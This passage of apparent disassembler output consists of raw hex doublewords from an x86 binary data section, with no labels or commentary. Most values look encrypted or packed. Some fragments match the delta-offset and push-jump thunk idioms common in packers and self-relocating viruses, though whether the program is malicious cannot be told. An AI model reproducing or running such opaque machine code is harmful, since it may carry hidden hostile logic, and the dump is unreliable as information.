0F983A8FDh, 2865274Eh, 0E9473A37h, 3C61DEACh dd 0F686A3F1h, 9DEF2C4Dh, 2C157EA2h, 0F5555D60h, 0A1AEC91Bh dd 0EE211E60h, 5FA45FBDh, 0A09623Ah, 0A7164918h, 43298142h dd 72377E8Fh, 7B738715h, 17A64118h, 0BDB686C9h, 7B9B1176h dd 0D64F3C3Bh, 3B1F2BC1h, 0BBF24B7Dh, 6C121F78h, 7EA3B4DFh dd 7D3B9AAEh, 0DB3C7F4Bh, 7D3B3941h, 83D1DC4Bh, 5F2B1866h dd 0EF972243h, 0F578C7D0h, 90000001h, 0F63B52EDh, 62AFC685h dd 0DAC72E1Dh, 347D94AFh, 9492FD4Ah, 54F39BD4h, 0B986F43Dh dd 2C1761AEh, 97B0DCC5h, 8E4F57Ch, 411238E0h, 77A14115h dd 0E0D13807h, 0C317859Ch, 36473A3Bh, 0D6234487h, 277499A2h dd 84A7F453h, 0C7800C45h, 5FDC7699h, 3B96A27Ah, 307B473Ah dd 0AAF9EAECh, 41ACDF4Dh, 90814918h, 0D6910345h, 5687C683h dd 18357686h, 0EC298841h, 67E4AAA3h, 68B4F724h, 2D206781h dd 884BD1CEh, 0F5h, 34057796h, 0BB88F34Ah, 0C9084B6Ah dd 3E275784h, 3A3B5A6Eh, 0B3FCBF47h, 0EA3B7AC5h, 3A37735Ah dd 67E0AC47h, 7479030Ch, 5B494BD5h, 4390D30Ch, 3F4B2106h dd 0D2473A2Fh, 3EA522DBh, 74AD00CDh, 0EE352E28h, 49E3A489h dd 0C8EB2B3Dh, 87AA5915h, 9ADDCED5h, 64CBA446h, 0F0C4918h dd 9891CF7Ch, 0D8A7F415h, 0CA2A356Bh, 8BB4C419h, 0BFD81B5Ah dd 3CC70AEDh, 4FA8034Fh, 0E40F3C42h, 0E7AD3BBh, 8004F235h dd 0DDEF96FDh, 0DE7DCCh, 4890000h, 9CEFD03Bh, 345B44AFh dd 0C6B3FC17h, 612D127Dh, 0BDBF8BE2h, 0D23D0A74h, 47AE9DEDh dd 0FA152E5Ah, 157CC7B5h, 0CB1F8DEAh, 2E41123Fh, 525FB868h dd 59613B26h, 0BC473A3Bh, 4E6DBEF1h, 17D609B5h, 81DFD9F3h dd 58271678h, 9CC1BAEBh, 70A69A76h, 0E5024584h, 0A5BE4A8h dd 79AA99E5h, 0BAA5FB3Ah, 0D53C0775h, 3A057779h, 8FB8C4E9h dd 105F1464h, 93192F7h, 0F28E0F9Dh, 1C41FE8Ch, 0B8429ED1h dd 491B8DDCh, 0AB94E4C1h, 86F63B68h, 1F6D52BDh, 9C25F724h dd 0C6EA9E09h, 327FCD2Bh, 80ADFE4Dh, 0D00C4FF8h, 3158E3A9h dd 92C37C00h, 6C1D2C5Dh, 0C94390D3h, 3844E018h, 1785EA0Fh dd 27967EC3h, 4FFE8736h, 2432DF39h, 31528Eh, 8F92C37Ch dd 8, 0C1CECB77h, 805C80BBh, 0E83D0677h, 5D8EB9C3h, 8EDF6810h dd 0F92A1961h, 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h dd 6FBC8BF0h, 0E2895269h, 4C281h, 0EA830000h, 74FF5204h dd 8F5A0424h, 685C2404h, 46ABh, 57242C89h, 0C781E789h dd 4, 4EF81h, 3C870000h, 3C895C24h, 39BE5624h, 0F7166607h dd 0C1DEF7D6h, 0DEF703E6h, 8101EE83h, 0E83D7DF6h, 5EF5894Ah dd 35D068h, 24248900h, 4240481h, 5F000000h, 53E88950h dd 8BBh, 89FB0100h, 8B585B03h, 8956243Ch, 4C681E6h, 83000000h dd 348704C6h, 34FF5C24h, 0C4815D24h, 4, 0FA7C52E9h, 219484FFh dd 1B8233Ah, 3062806h, 3AE0FFC5h, 963F2C75h, 2A5EC531h dd 0E82B6211h, 4718A39Fh, 0E1776FB6h, 9E3BA74Fh, 647510A2h dd 0F63B2F37h, 87017B13h, 0F478F1DCh, 0E14E239Ah, 0CD5DB374h dd 0A87108F1h, 2801B028h, 0AB6D7319h, 0C0021D1Ah, 0F13AA39Ah dd 0FF76EB88h, 0CB5C3593h, 35320A1Dh, 0EB04FF8Fh, 24h dd 8 dup(0) dd 0BDE900h, 0B5890000h, 62806F5h, 0F5858Bh, 858B0622h dd 6222C55h, 73FB58Dh, 858D0628h, 6255745h, 55C3D0FFh dd 0E8h, 0ED815D00h, 6280745h, 0F5BD83h, 0F010622h, 2C85h dd 0F5B5FF00h, 8B062806h, 222C5585h, 27363506h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 2806F9B5h, 0B5FF5606h, 62806F5h, 2C55858Bh, 36350622h dd 0FF348127h, 0CC483D0h, 6F9B58Dh, 468B0628h, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 0F5BD8300h, 1062200h dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 28071E85h, 0B5858906h dd 8D06220Fh, 2808878Dh, 0F18D8906h, 0E9062233h, 0Ah, 0EB58CD91h dd 1E36B3F9h, 85C79C9Dh, 6222D31h, 6394h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0A1C35141h, 6A5E748Fh dd 0B369C1C7h, 0DB501BCh, 0C706221Ch, 2230E585h, 6, 0FF5A5300h dd 221281B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 84D0225Dh, 0A9BD8B47h, 0FF062207h dd 22206595h, 5860F06h, 66000000h, 4A4AE281h, 95FF006Ah dd 6223075h, 2FEBC08Bh, 992A816Eh, 8544C777h, 53F76E41h dd 864DB613h, 5F7C001h, 9B973921h, 0ED9B5DBFh, 6AC49C56h dd 2A1F24A5h, 0F7279297h, 4DFC68E2h, 0E8BB9F64h, 0Ch, 0C5C541CAh dd 0A63C8501h, 10C13CEEh, 7E9B58Bh, 815A0622h, 5E3EC2h dd 71BD8B00h, 6806222Ch, 176Bh, 31852950h, 5E062219h, 0DABF0F58h dd 0B70F0A8Bh, 0BBC181FEh, 8B73296Eh, 222A399Dh, 76E98106h dd 664864FCh, 0E981DA8Bh, 7D3DC51Eh, 6800Fh, 85890000h dd 6221B71h, 0E9BD8B51h, 8F062201h, 62BF6602h, 4EA832Ch dd 13E9h, 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch dd 0FD5BD465h, 1E881h, 850F0000h, 0FFFFFFA0h, 21099589h dd 9E80622h, 85000000h, 68FF5871h, 6030ECF3h, 32518589h dd 895F0622h, 220A7995h, 45C78106h, 0B000063h, 222581B5h dd 18A46806h, 870F0000h, 6, 3401B58Bh, 0FC580622h, 665B37FFh dd 8144B3B9h, 1CB091EBh, 0A98D012Ch, 81062208h, 0AA6EAEBh dd 68B0F2Eh, 81000000h, 10F354EAh, 0BFF38151h, 660FF608h dd 0D807E981h, 13E81F89h, 21000000h, 0D7A1999Ch, 0CEC20178h dd 4436A995h, 864683Ah, 840FB81Bh, 6, 2A05958Bh, 835E0622h dd 0B58901EFh, 6222C05h, 0F4F4F4Fh, 1281h, 0DE900h, 0A40F0000h dd 0C86599A8h, 8EFE27Ch, 48D18ABCh, 0FF7E850Fh, 0CB8BFFFFh dd 21E9h, 0C7AFC400h, 3D00005Bh, 2, 5 dup(0) dd 0CFE90000h, 6800000Ch, 6280C52h, 0FB4438E9h, 0D7568FFh dd 2EE90628h, 68FFFB44h, 6280EE9h, 0FB4424E9h, 0FCE68FFh dd 1AE90628h, 68FFFB44h, 6281094h, 0FB4410E9h, 127268FFh dd 6E90628h, 68FFFB44h, 62812F8h, 0FB43FCE9h, 147D68FFh dd 0F2E90628h, 68FFFB43h, 6281588h, 0FB43E8E9h, 0E8F13EFFh dd 3CC1CF52h, 4491936Eh, 8F5A5BA6h, 0DD1C62FFh, 9C834C09h dd 0AEB34B92h, 74C99D64h, 3904A62Fh, 8D51F5F8h, 0BE01D4BDh dd 2901CD62h, 0CCD7AA5Ch, 8DA82105h, 8DD38AC8h, 0D0D18C96h dd 0B2FC3F4Fh, 8B26FD2Bh, 3DEB869Dh, 1CCD4A9h, 0BC41401Dh dd 0C78E1EEEh, 0D38AC7F4h, 1210E934h, 54FE55C3h, 121352CFh dd 27F249C7h, 0A9EA77C7h, 0A193FA58h, 61D9ACD0h, 30078EBAh dd 83D9ACD1h, 7B21C64Ch, 0BA0ED10Eh, 73h, 0DD4DFA2h, 271A3817h dd 3ACBD7AAh, 9D8E3318h, 0E6EF3489h, 51311D2Ah, 0ACD23A38h dd 0F523FED9h, 0B4DC7D11h, 6B69FE34h, 6EF3C2ABh, 10DD9ADh dd 6FB54CF8h, 0AEFDAE9Ah, 0BB4A4824h, 8EC25AECh, 5BDF66FBh dd 3848E25h, 0D55C3079h, 0AE7775FBh, 2C91A42Dh, 8A91D9ADh dd 4B7157FFh, 0E40ED0B7h, 113CF9E8h, 1DEA2B47h, 0F857CD18h dd 104E45Ah, 0A76D0000h, 0C099975Ah, 522F3FBEh, 0F696824Fh dd 8AC7BC9Fh, 0AA17CD3h, 969B7608h, 3EAC8CF8h, 8A2C8457h dd 719984D3h, 4B02945Ah, 0D38AC670h, 0B0DE75B0h, 9F804FCEh dd 917500D8h, 5AEEFEFDh, 0B89AD571h, 0DB266B06h, 89B8CA03h dd 3F42D38Ah, 0C15E8B2h, 57C84BC1h, 8A694C05h, 72A9D38Ah dd 600E47A7h, 97D9ACA5h, 0A56B4E07h, 8E95D9ACh, 731AD047h dd 0D9ACA568h, 7CA67DA8h, 6F4A03DBh, 84D9ACA5h, 0ACA4EACDh dd 5CF32ED9h, 0FB902AC1h, 88C12546h, 0DFD16472h, 0E936BB6h dd 9D6DF900h, 96FFFE00h, 0DFD163C3h, 4E9B9A47h, 0AEB393B3h dd 0D0979960h, 3CBA103Eh, 0A1D9006h, 0AAF50000h, 7A869B23h dd 4A4AD777h, 1312EFBFh, 0D5D924C6h, 4A937614h, 0FA804955h dd 30CA1B67h, 4F1FE62Dh, 9822AFF2h, 4A6D64C4h, 0CECD62BCh dd 57A79560h, 0A06CFD4h, 79C4663Dh, 111B538h, 0EA2A75BCh dd 7F0A211Fh, 70D15AD7h, 0F4E2EB73h, 3D9ACD1h, 0D1FFDAB3h dd 0FA39D9ACh, 33E63DEBh, 92892EF4h, 0D2183FA6h, 0E022D9ACh dd 0F7824B53h, 9362A039h, 45CF1AA5h, 0BA40972Bh, 0D2276EF3h dd 0D2360148h, 2FFAD9ACh, 11FBA1E7h, 0D83A0ED1h, 4F000000h dd 0B1D85AA7h, 0D38AC7A6h, 1AE0BF6Ah, 0BA767787h, 7F0FA16Dh dd 0C20F12EFh, 8AC7B681h, 31044DD3h, 0F1D38AC8h, 1A38E72Ah dd 7AB63747h, 8ACD091Bh, 0E3EE33D3h, 6CB9771Bh, 0F4B9EE6h dd 26EC8981h, 0CB161BE6h, 5C4DF25Dh, 44177ECEh, 0C4D38B51h dd 7C15F559h, 0D9AD6C8Eh, 1CF79792h, 2DA486A3h, 0DFD228BEh dd 149BE542h, 9934C30Ah, 81543D8Dh, 81DFD229h, 5828B89Ah dd 0FA36BBC5h, 226CE12Dh, 0F03E03DBh, 0C57A07E9h, 9896BA11h dd 8FA3Ah, 0CCDD200h, 509DE37Eh, 986DB78Ah, 0A3367FC2h dd 0F1F8061Bh, 0B0AFB055h, 42DF6F6Eh, 815B140h, 0DD20FA0Bh dd 0A17D09D4h, 0BB253059h, 0DE5CD62h, 9657A7B0h, 0A52869F4h dd 2FB6FC41h, 0C7A3B6DFh, 0B867D38Ah, 0AAD78A9Ah, 0E3ACBD7h dd 6AA62F73h, 0EC2906DDh, 0E142319h, 0BB834E53h, 0B0A2D826h dd 0F0F95659h, 0BA918F5Ah, 60BE698h, 0F7A823FBh, 637910EAh dd 0A7D9ABEAh, 3EEAF73Ah, 3DE4AE1h, 0D62BF3FEh, 5524B5CBh dd 0A4507B3Ch, 0C4B21309h, 4560F22Ch, 0C1C0AC56h, 14A3367Eh dd 5BA6EB76h, 2CD2E0EDh, 774260F2h, 1FA0E1CDh, 7E878C0Fh dd 41DE75C2h, 0AE85B342h, 0ABF64B13h, 0C9EBEA26h, 0A560F22Ch dd 9DB8D1A1h, 9D60F22Dh, 810B9C86h, 45E1EC35h, 2876B9F8h dd 4EDC6BA1h, 0F22D3407h, 9229F460h, 67543888h, 6EB02331h dd 69DFFA1Bh, 1B1960F2h, 76DC4BCEh, 0F9EA57B8h, 4194906Dh dd 1E440DDDh, 0E2671491h, 0FB976707h, 1A797EDFh, 0FA41CDD2h dd 76C62445h, 0E25EA7EBh, 0C6E0C955h, 4A6D3688h, 388561DFh dd 0A039F7F6h, 5CC69D60h, 36895F75h, 0F59FD06Dh, 47564C72h dd 472957Bh, 531C0000h, 0D38AC888h, 8AD86F46h, 0DC3E7DD3h dd 250CD38Ah, 0A9D38ADCh, 8313EBF8h, 36E2F73Eh, 72AC3519h dd 0B6D9ACFDh, 91CE896Bh, 2CE2B074h, 786AEh, 0B8414E00h dd 0CC111FE2h, 14E1233Eh, 5FAAEB76h, 6D6CB28Fh, 2C333CD9h dd 0FE431BE2h, 84992DB4h, 49D4767Fh, 5DE18548h, 0B9B184CDh dd 9971CD62h, 0B3DAAA2Ch, 0D38AC7A8h, 2EA4EA3h, 70A9DA1h dd 5AA73A18h, 0E9B9F924h, 0F5800DDDh, 5623AF3Fh, 0ACFF0A40h dd 279461DBh, 0CD986A2Dh, 2445FA41h, 0F7C58FC6h, 0DE45D9B1h dd 6BF10E0Ch, 3851B5B6h, 0DFD42B22h, 69623BE6h, 8F35678Dh dd 0FB4360C1h, 7AD71A66h, 0A77CA839h, 821FEF7Fh, 23BB7180h dd 35678FAAh, 0F994938Fh, 677A4C55h, 2CBE9557h, 576792A5h dd 0FC915D95h, 0E1B5760Fh, 0C258F732h, 66AC317Fh, 0C9DA47C8h dd 0D1E4ED7Dh, 51955724h, 0F19848CAh, 9B795FD3h, 0EF72C857h dd 0B28F5FA2h, 91A42D6Fh, 919B7960h, 5075FF8Ah, 7871B832h dd 6A1D4BAh, 26690000h, 0F63A07A7h, 0C6CE53EBh, 8F966B33h dd 515DA07Ah, 0D617F288h, 6604C5C9h, 0BC4E979Bh, 0CB9362A1h dd 4A62B76h, 0CEE9E078h, 52CD62B8h, 70D109E4h, 0D4E7EB73h dd 6EFB34DDh, 0A72EBE64h, 0D9AC6A99h, 4D1D3AEh, 0E1ED791Eh dd 0D4F5A093h, 8356BF73h, 87D9ABE7h, 0BA57CD98h, 23BE6A77h dd 4D2410DDh, 0DB8CB841h, 0E42846CCh, 6AD70DB7h, 0D6E4ED79h dd 6DDFCDE6h, 2433E461h, 90B2E151h, 4B8258C7h, 0DFCDF76Ch dd 0CDF75762h, 392A97DFh, 1AAA42Dh, 0B36EE5F6h, 6A3F27ABh dd 0B57882D1h, 0EECED769h, 0FCE5F65Fh, 0E5F65FD4h, 1939E63h dd 0F6606D48h, 0DB76ADE5h, 569BE67Bh, 3D32A1EEh, 7765DBA4h dd 5DBh, 59EDEC33h, 9531BCC4h, 0AD798C88h, 0FA805550h dd 34D61767h, 87978851h, 5959A446h, 246FF288h, 0ED3409DDh dd 0A6865AE0h, 62B80C2Fh, 57220CCDh, 3BCED7AAh, 221EE32Eh dd 7D220915h, 0FDF79E6Ch, 0AD9B2D1h, 0AE9A6BB7h, 3FEA8D91h dd 0A4296801h, 0CBD84D06h, 0F134895Dh, 5EA33EE4h, 2B76CB93h dd 929F6AA6h, 0D26E4900h, 77B2D9B2h, 0ECBB6CD8h, 0B8070A66h dd 66BD6B7Ah, 2D6EB578h, 0A37E5813h, 0B782CB5Bh, 7BD9B300h dd 90A666ACh, 0ECAE22Ah, 795C3585h, 0B9D9B2FDh, 8F4EA062h dd 0D3000001h, 0EB7370D1h, 0ACEE84E2h, 0BFD684D9h, 0D9ACEE9Ch dd 81945DA6h, 137FCF9Ah, 0C58DE993h, 0DA2730F7h, 21917h dd 0E152676Eh, 0F7C2D9ACh, 0D1606C4Dh, 0F45909B3h, 44FD46CCh dd 588EC727h, 0D8DFCF8Ch, 5695F94Dh, 26D1B2EDh, 3508183Ah dd 0B805E1ECh, 14AA687Dh, 5EA3ED70h, 0B2FC55E2h, 2B76EB2Bh dd 583404A6h, 1AD18479h, 7AC14DCFh, 0D7E2EBC5h, 61DFCF8Bh dd 0A279DC1Dh, 545E3717h, 0D4E5F195h, 0E3F2D349h, 54E5F194h dd 0C8F67903h, 9028C4Ah, 29h, 7370D190h, 0D1F4E2EBh, 0E934D9ACh dd 0D2835233h, 64F4D9ACh, 23F0EF68h, 57FF7094h, 7725CA70h dd 0BE0ED07Bh, 0C9h, 245AA7C3h, 8DE845EEh, 0A02D7439h dd 7500DF74h, 365F2FBFh, 0D38A1F23h, 471A38E7h, 0EF7AB637h dd 8E15FA2h, 2F26C409h, 0D38A23D5h, 4FDF226Fh, 0E323AEF2h dd 0EAF7A823h, 3B848D10h, 0DB51ECF9h, 0B606C64Ch, 248CAF26h dd 918CD38Ah, 0E143248Dh, 6DF0D9AEh, 0A374DE23h, 8B16E644h dd 0C5CD7B86h, 0AB01E187h, 83835EBAh, 6D39C0CEh, 0FC01009Dh dd 0B62BEB40h, 0DA9F6168h, 0F6B07270h, 3FD5A38h, 0CAD50000h dd 9AE67B03h, 6AAAB757h, 3372CF9Fh, 0F53904A6h, 0AAB356F4h dd 0DA6069B5h, 10AA3B47h, 2FFF060Dh, 7802CFD2h, 2A0D44A4h dd 0EECD62B6h, 57A7B500h, 6864F496h, 7C480E16h, 20BD6114h dd 8C555EE1h, 5EECBB90h, 975AA7A3h, 3CC1C099h, 26AAF36Eh dd 858992D9h, 432AE8A9h, 0D38AB174h, 8AB15B7Ah, 3D2E93D3h dd 0BBAEA029h, 0B772D9B2h, 38299679h, 0DAEDAB22h, 0F62DDFD4h dd 1CB7BD0Eh, 0C3D14FBAh, 377h, 0FD89505Fh, 9DD2060h, 41E5F034h dd 9E2CB9FCh, 0A8727B83h, 0EB332C2Dh, 0BDC558E2h, 888B9634h dd 5150AD79h, 0DA22FE8Ch, 62B5A8B3h, 338E68CDh, 0A8B3DAAAh dd 68D38AC7h, 0C8EFD60Eh, 0F89760A2h, 0C47A875Ah, 1EC11F51h dd 34074E95h, 0F4D38AC4h, 0C1889229h, 0D38AC3F6h, 0E450EF3Ah dd 2DF9040Dh, 12E8F9A6h, 0EDF43F82h, 50DF38E5h, 0FC265DFDh dd 0AC059B95h, 94809FD9h, 0AC052A09h, 3CAD4D9h, 0E0367C15h dd 0AC04CEE9h, 38D752D9h, 60EA3D0Ch, 0D70BB9E5h, 5EF5DDCAh dd 2ACD7788h, 0ED16374h, 0FC464ED3h, 0AC83C295h, 0CDB46D9h dd 402806h, 0D1B10000h, 16EB7370h, 0F348C40Dh, 1CDAB353h dd 1CD9ACD2h, 3C552501h, 0D9ACD219h, 0EE350219h, 0E5813FE7h dd 645524E9h, 6CA81809h, 7940C299h, 0D9AD425Ah, 4FF09AADh dd 0ED0A151h, 0D490h, 0D7AA1900h, 45183ACBh, 0E37BB13Ch dd 45C9101Eh, 0F9058688h, 50EF44F0h, 0F9040DE4h, 666BB643h dd 0CC738DC4h, 848DD38Ah, 801DED79h, 68C77D80h, 8ACC506Bh dd 58A9EAD3h, 6AC057ECh, 8ACC5863h, 0B64DD8D3h, 0D1ACBC6Ch dd 4D0002CFh, 0DDADB944h, 8ACCA1B4h, 98BA61D3h, 0E5C47DE6h dd 40DF55A0h, 723851B5h, 0B6D9ACDBh, 12FF936Bh, 6E6FBF84h dd 44CF9360h, 1C854EDEh, 0AF563F0Fh, 73DFD249h, 0C3CB56B4h dd 919D603Ah, 245DE848h, 7DB3BA11h, 1F21Fh, 14D5DA00h dd 58A5EB76h, 6075BF82h, 0AB3E47DAh, 0F9000E13h, 0B8A7A82Dh dd 4AD77776h, 10EDB948h, 2538C213h, 0A97511DCh, 0B41D3851h dd 351DCD62h, 9657A7B8h, 162869F4h, 0B60AF20Ch, 0F6942395h dd 7370D10Bh, 0D1F4E2EBh, 0E934D9ACh, 0D2835233h, 0A3F4D9ACh dd 11289619h, 3A870ED1h, 996CA8F7h, 55F956C2h, 0DCDBh dd 5AA76E00h, 81CD9997h, 1145334h, 0ED60A2D9h, 0E1EC58A1h dd 0D38A039Fh, 0AA8DC454h, 6ED38A03h, 912CADF1h, 0BFD1D08Dh dd 0F9D42834h, 0FF8F5A16h, 48D21F62h, 43C691F8h, 0DF4AD38Ah dd 0E956B977h, 0A56B62F8h, 52D9AC52h, 13FC2CFh, 0D04FE82Ah dd 70E0410Ah, 0DC5C7EFAh, 0F230096Ah, 431E35E3h, 88966BFBh dd 0EE74470Eh, 69B4D9ABh, 45C966D2h, 0D0AB267Ch, 2F3FEADFh dd 0A9ECAFA3h, 0DCB385DDh, 4F9DF4C5h, 0B353F38Eh, 9D21AF23h dd 50C865FFh, 0CE0F1FF2h, 1CDD213Ch, 13E28714h, 0C5CB49BAh dd 0E7h, 4D19E02Fh, 992DB0F0h, 0D1758084h, 0EEBC494Ch dd 38C20B13h, 7B839C5Dh, 4D55A872h, 181BE684h, 0E1203DC9h dd 0AAB24E1Ch, 62B31823h, 433E18CDh, 0F49657A7h, 1A52869h dd 975AA75Ch, 3CC1C099h, 804D532Eh, 0DEB28282h, 0A08D4F0Dh dd 200B0B7Eh, 0F198627Fh, 0D9B263FBh, 6570B508h, 15031EB9h dd 12A8357Ch, 41FF020Fh, 0A21D045Ch, 0EC960537h, 0EE7C8180h dd 55730D13h, 82658BB5h, 31113DC8h, 0CC575C21h, 370C38C5h dd 0DA27BA98h, 45401917h, 7692B0F2h, 0EEA090E2h, 0B582BE55h dd 0E423221Eh, 7731F5Eh, 0BD644136h, 0F12CF57h, 563F8580h dd 37A21B83h, 57CD9887h, 84992DF8h, 36E5C37Dh, 0FA46D57Bh dd 0C19C2BB6h, 19454Bh, 0AAFC0000h, 0C7A8B3DAh, 85A3D38Ah dd 4F231B7Dh, 929E4BCEh, 0AF7AD14Fh, 0A734AD67h, 0CE9B9158h dd 77023EC3h, 926FA52Ch, 3ECB4190h, 0A633E9F0h, 0CE9B9158h dd 6B0632C7h, 8960DC29h, 58CE7A87h, 5585450h, 4, 8704E883h dd 685C2404h, 63AEh, 68243C89h, 5614h, 83240C89h, 2C8904ECh dd 0A99BD24h, 0EF890628h, 4EC815Dh, 89000000h, 4832424h dd 83590424h, 3C8904ECh, 242C8124h, 48796525h, 8108418Fh dd 65250841h, 34FF4879h, 0C4815924h, 4, 5F2434FFh, 4C481h dd 82E90000h, 9FFFFB37h, 3D48550Fh, 20241831h, 75AEB672h dd 94B8C95Dh, 3062816h, 0EEE0FFC5h, 67B3487h, 3E36CF45h dd 1841D3B5h, 0AB620C2Bh, 900C662Ah, 8C57C4CAh, 40223265h dd 62AB61Dh, 2860D6FFh, 0C9397CA3h, 0D70DD978h, 0D0125D23h dd 8D4A3A8Eh, 2817C78Dh, 0F18D8906h, 52062233h, 68D0Fh dd 95290000h, 62206E9h, 3185C75Eh, 6222Dh, 6A00006Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0C733C357h, 2230E585h, 6, 1D8D0900h, 0FF062211h, 220A85B5h dd 78F0F06h, 0F000000h, 187h, 958BFC00h, 6220A09h, 206595FFh dd 0B58B0622h, 622198Dh, 95FF006Ah, 6223075h, 1EEBC08Bh dd 0E540C18Ch, 11A14BEAh, 0C0430047h, 0D4141319h, 247B41E8h dd 0F09E9565h, 5E7218BFh, 0C0E9CB18h, 0CE000000h, 0D72CA4D8h dd 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh, 0F44592B3h, 0B395A1h dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h dd 0A8CD43F1h, 0F0h, 74470000h, 0E0E3129Dh, 5E99h, 0 dd 0E9000000h, 1551h, 281A8B68h, 6A25E906h, 9668FFFAh dd 0E906281Bh, 0FFFA6A1Bh, 281C5B68h, 6A11E906h, 9468FFFAh dd 0E906281Dh, 0FFFA6A07h, 281E0468h, 69FDE906h, 0D568FFFAh dd 0E906281Eh, 0FFFA69F3h, 281F6B68h, 69E9E906h, 2068FFFAh dd 0E9062820h, 0FFFA69DFh, 2820D368h, 69D5E906h, 1668FFFAh dd 0E9062822h, 0FFFA69CBh, 28230468h, 69C1E906h, 5968FFFAh dd 0E9062824h, 0FFFA69B7h, 28259668h, 69ADE906h, 2868FFFAh dd 0E9062827h, 0FFFA69A3h, 28286868h, 6999E906h, 4A68FFFAh dd 0E906282Ah, 0FFFA698Fh, 282B6468h, 6985E906h, 6429FFFAh dd 0FC8FB0DBh, 94FB244Fh, 26535CB7h, 0C1CDF21Dh, 5D1F6B82h dd 0B2DD6A14h, 274EFD8Dh, 5AB58EFAh, 0F51C2755h, 6BBF6D0Ah dd 8E411222h, 57758C8h, 0B8C4E93Ah, 5F14648Fh, 0CE25F710h dd 0DF491843h, 4D4A8FDCh, 0C07B0D3Ch, 0D0115C81h, 234293ACh dd 321B2BFDh, 7CE54118h, 7C0310FCh, 4EFD82CFh, 8A82DE1Dh dd 4BD1CED7h, 29E2h, 0AB582800h, 65DE0364h, 0B214EA66h dd 0BE48942Ah, 4918734Dh, 0ADA0BA2h, 411807FAh, 0F41B5D04h dd 4BD19F79h, 0F25Ch, 577CA00h, 0ACD0DD3Ah, 0DB384D93h dd 529FACDEh, 0B8C11F2Ch, 0F72469D6h, 4469BA85h, 93E40F38h dd 194AF986h, 0DBEFBDDAh, 3E473A3Bh, 9987217Fh, 70473A37h dd 0D7D8330Ch, 107FBCA5h, 3E596133h, 0F1BC473Ah, 2F5C59BEh dd 7CA0C310h, 7B5B2C29h, 747465A2h, 5EF05C0Ah, 7C14B8A5h dd 0F63D3620h, 0CFF01B91h, 0A0854918h, 1881BCCCh, 65A5141h dd 7749A00Bh, 5AD2377Ch, 4F3C16C1h, 0ADEA0FAEh, 0D93864DFh dd 7A95B2DCh, 0CFA4935h, 0EF93079Ch, 0B8011829h, 0FC000012h dd 525FB691h, 0CEF31A29h, 266B82C1h, 9081E853h, 303651EEh dd 0A897E730h, 1D2A5041h, 80BBCDF2h, 0EB543869h, 6C005980h dd 4112215Ch, 77051DB1h, 0FADF3807h, 3A3B1622h, 7FB0FB47h dd 0C3E23310h, 2865729Dh, 0EA82E760h, 473A3BDEh, 1D247833h dd 66B3D46Fh, 0BBFA2B18h, 5FA07A65h, 0C91A2952h, 6F6476AAh dd 2255C720h, 0B491841h, 9DA173A0h, 63411831h, 124F82E6h dd 6B4BD1D2h, 29C35E2Eh, 41183D01h, 5586B9F4h, 0EF3BF116h dd 241183Dh, 0B6A875ABh, 76000000h, 0E93A0577h, 6C8DBAC4h dd 9CEC5D2Fh, 0F03360A3h, 55CB99ACh, 0E4473A37h, 3459E297h dd 711D0CE9h, 4D88A1B1h, 99A2EA17h, 5E2C694Eh, 280555C7h dd 0C5E8473Ah, 69135E82h, 944F8DDEh, 19722A4Fh, 6491843h dd 167B5CB7h, 18157286h, 0C814A741h, 698ED58Eh, 3C81DBB3h dd 1277464Fh, 0B8C47905h, 0FC254C8Fh, 49C5B592h, 0EAEF9397h dd 11AD46D9h, 9CE10000h, 344748A3h, 0CCB3FC17h, 5E2B147Fh dd 0F9858AE5h, 25C7234Ah, 4AA5A2ECh, 0FF163545h, 127DC6B2h dd 8DE45F2Dh, 53673542h, 0C6411220h, 7771010h, 0BA87FA82h dd 92D52237h, 0F346367Bh, 147FBE89h, 3A0577BEh, 0DBAFECE9h dd 0ED2C1762h, 39028AB7h, 0A19EE12Eh, 0F24D3F7Ch, 49F69895h dd 58BBD904h, 0FD46327Fh, 6ED037A8h, 0F91383CAh, 2DFB9AC6h dd 0BADF24DFh, 0E3310E7Dh, 0B4E53EEEh, 0A30A4918h, 0E50E51C3h dd 43309FE2h, 0FA019BFCh, 1BB4B54Eh, 52014390h, 8FCE7903h dd 8008056Ah, 43008AC7h, 0F3894B1Dh, 25884AD3h, 7AC5B7C4h dd 5F5E2E13h, 2279486Fh, 0FFB3A4Dh, 0F1E5AB09h, 0E8FA4556h dd 2C000010h, 828FE661h, 0FE234AF9h, 565BB291h, 0C0F11823h dd 6681BEh, 0D8671760h, 4DFA80B1h, 0B08BFD22h, 1B246859h dd 0BC7009F0h, 4112276Ch, 7755CD81h, 0EBE93A05h, 694EABF8h dd 0BA2DF98h, 0CC10CB18h, 18698D3Ah, 204B6249h, 0BBDC23D0h dd 3A6F36E1h, 4794274Fh, 7E6E61B5h, 96D29F4Bh, 0AF86FE73h dd 45DB45h, 0B1FE0000h, 0D287DCAh, 0AB583FD7h, 0C623206Ah dd 3A3B0256h, 85C4F747h, 0BD78864h, 93E04918h, 0EB0A5BE8h dd 0D8317CB5h, 7B92ADDBh, 186B83A9h, 4DF68641h, 0BE8BFD22h dd 3E0D7DD0h, 4C8FCEEDh, 103D001Fh, 58F20000h, 690364ABh dd 492253D7h, 906634Ah, 0E008E481h, 15411223h, 0D83967A6h dd 7F96B1DBh, 97F8351Ah, 23D0F8A8h, 